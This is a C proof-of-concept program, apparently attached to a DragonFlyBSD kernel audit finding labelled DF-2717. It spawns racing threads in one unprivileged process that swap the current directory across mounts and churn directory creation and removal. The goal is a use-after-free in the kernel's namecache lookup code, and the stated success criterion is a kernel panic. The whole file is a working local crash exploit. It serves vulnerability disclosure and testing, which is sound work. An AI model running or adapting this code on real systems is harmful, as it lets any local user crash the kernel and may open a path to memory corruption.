⬢ DragonFlyBSD Kernel Audit
DF-2717 / df2717_storm.c
← back to finding ↓ download raw
/*
 * DF-2717 race storm -- unprivileged sibling-thread race against the
 * unlocked fd_ncdir/fd_nrdir nchandle reads in nlookup_init()
 * (sys/kern/vfs_nlookup.c:145-167) and the nlookup() retry re-deref
 * (sys/kern/vfs_nlookup.c:1376-1378).
 *
 * All threads live in ONE process => shared p->p_fd (shared fd_ncdir).
 *
 * Thread roles:
 *   swapper-fchdir : fchdir() between two dir fds on DIFFERENT mounts
 *                    (tmpfs /tmp vs hammer2 /home) -> maximum-rate two-word
 *                    swap of fd_ncdir under fd_spin (kern_fchdir writer).
 *   swapper-rel    : chdir() via long RELATIVE paths containing ".." and
 *                    crossing the tmpfs->hammer2 boundary -> nlookup walks
 *                    that themselves read fd_ncdir unlocked, plus ".." gate
 *                    + generation-retry churn.
 *   dancer         : mkdir vNNN; chdir vNNN; rmdir vNNN; chdir(parent)
 *                    -> creates a namecache entry whose ONLY ref is the
 *                    fd_ncdir holder ref; the final chdir-away drops
 *                    1->0 and kfree_obj()s it (vfs_cache.c:_cache_drop),
 *                    opening the hold-after-drop window for any reader
 *                    sitting between cache_copy()'s load of ncp
 *                    (vfs_cache.c:1006) and its _cache_hold(ncp)
 *                    (vfs_cache.c:1023).
 *   readers        : tight open() of relative paths ("./x", "../x",
 *                    "../../x") -> pure nlookup_init()+walk traffic,
 *                    ENOENT is fine and is the fast path.
 *
 * Success criterion for the RACE: kernel panic (KKASSERT in _cache_hold /
 * cache_copy / namecache paths) or any anomalous kernel message.
 */

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/time.h>

static volatile int stop = 0;
static double run_seconds = 60.0;

/*
 * modes: bit0 = fchdir cross-mount swapper
 *        bit1 = relative chdir swapper
 *        bit2 = volatile dance (mkdir/chdir/rmdir/chdir-away)
 *        bit3 = readers
 */
static int mode = 0xF;

static char dirA[512];		/* tmpfs  (/tmp/df2717/a)      */
static char dirB[512];		/* hammer2 (/home/.../df2717/b) */
static char danceroot[512];	/* tmpfs  (/tmp/df2717/dance)   */

static unsigned long n_fchdir, n_relchdir, n_dance, n_open[8], n_enoent[8];

static double
now(void)
{
	struct timespec ts;
	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec * 1e-9);
}

static void *
swapper_fchdir(void *arg)
{
	int fdA, fdB;
	long n = 0;

	fdA = open(dirA, O_RDONLY);
	fdB = open(dirB, O_RDONLY);
	if (fdA < 0 || fdB < 0) {
		fprintf(stderr, "swapper_fchdir: open %s/%s: %s\n",
			dirA, dirB, strerror(errno));
		exit(2);
	}
	while (!stop) {
		fchdir(fdA);
		fchdir(fdB);
		n += 2;
	}
	n_fchdir = n;
	return (NULL);
}

static void *
swapper_rel(void *arg)
{
	long n = 0;
	char pA[1024], pB[1024];

	/*
	 * From /tmp/df2717/a:  ../../home/<user>/df2717/b  (cross mount)
	 * From .../df2717/b:   ../../../tmp/df2717/a       (cross mount)
	 */
	snprintf(pA, sizeof(pA), "../../home/maxx/df2717/b");
	snprintf(pB, sizeof(pB), "../../../tmp/df2717/a");

	if (chdir(dirA))
		perror("initial chdir dirA");
	while (!stop) {
		if (chdir(pA) == 0)
			n++;
		if (chdir(pB) == 0)
			n++;
	}
	n_relchdir = n;
	return (NULL);
}

#define NV 64
static void *
dancer(void *arg)
{
	long n = 0;
	unsigned int i = 0;
	char v[1024];

	while (!stop) {
		snprintf(v, sizeof(v), "%s/v%03u", danceroot, i++ % NV);
		(void)rmdir(v);			/* clear stale, ignore error */
		if (mkdir(v, 0777) != 0)
			continue;
		if (chdir(v) != 0)		/* fd_ncdir = fresh v ncp (refs 2) */
			continue;
		(void)rmdir(v);			/* zap: hash ref gone (refs 1) */
		if (chdir(danceroot) == 0)	/* swap away: drop 1->0 -> FREE */
			n++;
	}
	n_dance = n;
	return (NULL);
}

static void *
reader(void *arg)
{
	int id = (int)(intptr_t)arg;
	long n = 0, e = 0;
	int fd;

	while (!stop) {
		fd = open("./x", O_RDONLY);		/* nlookup_init + 1 elem */
		if (fd >= 0) close(fd); else e++;
		fd = open("../x", O_RDONLY);		/* adds ".." walk       */
		if (fd >= 0) close(fd); else e++;
		fd = open("../../x", O_RDONLY);	/* deeper ".." walk     */
		if (fd >= 0) close(fd); else e++;
		n += 3;
	}
	n_open[id] = n;
	n_enoent[id] = e;
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t th_sw1, th_sw2, th_dance, th_rd[8];
	int nreaders = 3;
	int i;
	double t0, t1;

	if (argc > 1)
		run_seconds = atof(argv[1]);
	if (argc > 2)
		nreaders = atoi(argv[2]);
	if (argc > 3)
		mode = (int)strtol(argv[3], NULL, 0);
	if (nreaders > 8)
		nreaders = 8;

	snprintf(dirA, sizeof(dirA), "/tmp/df2717/a");
	snprintf(dirB, sizeof(dirB), "/home/maxx/df2717/b");
	snprintf(danceroot, sizeof(danceroot), "/tmp/df2717/dance");

	mkdir("/tmp/df2717", 0777);
	mkdir(dirA, 0777);
	mkdir(danceroot, 0777);
	mkdir("/home/maxx/df2717", 0777);
	mkdir(dirB, 0777);
	mkdir("/home/maxx/df2717/b", 0777);	/* noop if exists */
	/* touch file for bench mode */
	{
		int fd = open("/tmp/df2717/f", O_RDWR | O_CREAT, 0666);
		if (fd >= 0)
			close(fd);
	}
	(void)chdir(dirA);	/* give relative readers a sane base */

	fprintf(stderr, "DF-2717 storm: %.0fs, %d readers, mode=0x%x "
		"(1=fchdir-swap 2=relchdir 4=dance 8=readers), A=%s B=%s\n",
		run_seconds, nreaders, mode, dirA, dirB);

	if (mode & 1)
		pthread_create(&th_sw1, NULL, swapper_fchdir, NULL);
	if (mode & 2)
		pthread_create(&th_sw2, NULL, swapper_rel, NULL);
	if (mode & 4)
		pthread_create(&th_dance, NULL, dancer, NULL);
	for (i = 0; i < nreaders; i++)
		if (mode & 8)
			pthread_create(&th_rd[i], NULL, reader, (void*)(intptr_t)i);

	t0 = now();
	while (now() - t0 < run_seconds)
		usleep(100000);
	stop = 1;

	if (mode & 1)
		pthread_join(th_sw1, NULL);
	if (mode & 2)
		pthread_join(th_sw2, NULL);
	if (mode & 4)
		pthread_join(th_dance, NULL);
	for (i = 0; i < nreaders; i++)
		if (mode & 8)
			pthread_join(th_rd[i], NULL);
	t1 = now();

	{
		unsigned long tot = 0, tot_e = 0;
		for (i = 0; i < nreaders; i++) { tot += n_open[i]; tot_e += n_enoent[i]; }
		printf("DF-2717 storm done in %.1fs\n"
		       "  fchdir swaps       : %lu (%.0f/s)\n"
		       "  relative chdirs    : %lu (%.0f/s)\n"
		       "  volatile dance cyc : %lu (%.0f/s)\n"
		       "  reader opens       : %lu (%.0f/s, enoent %lu)\n",
		       t1 - t0,
		       n_fchdir, n_fchdir / (t1 - t0),
		       n_relchdir, n_relchdir / (t1 - t0),
		       n_dance, n_dance / (t1 - t0),
		       tot, tot / (t1 - t0), tot_e);
	}
	return (0);
}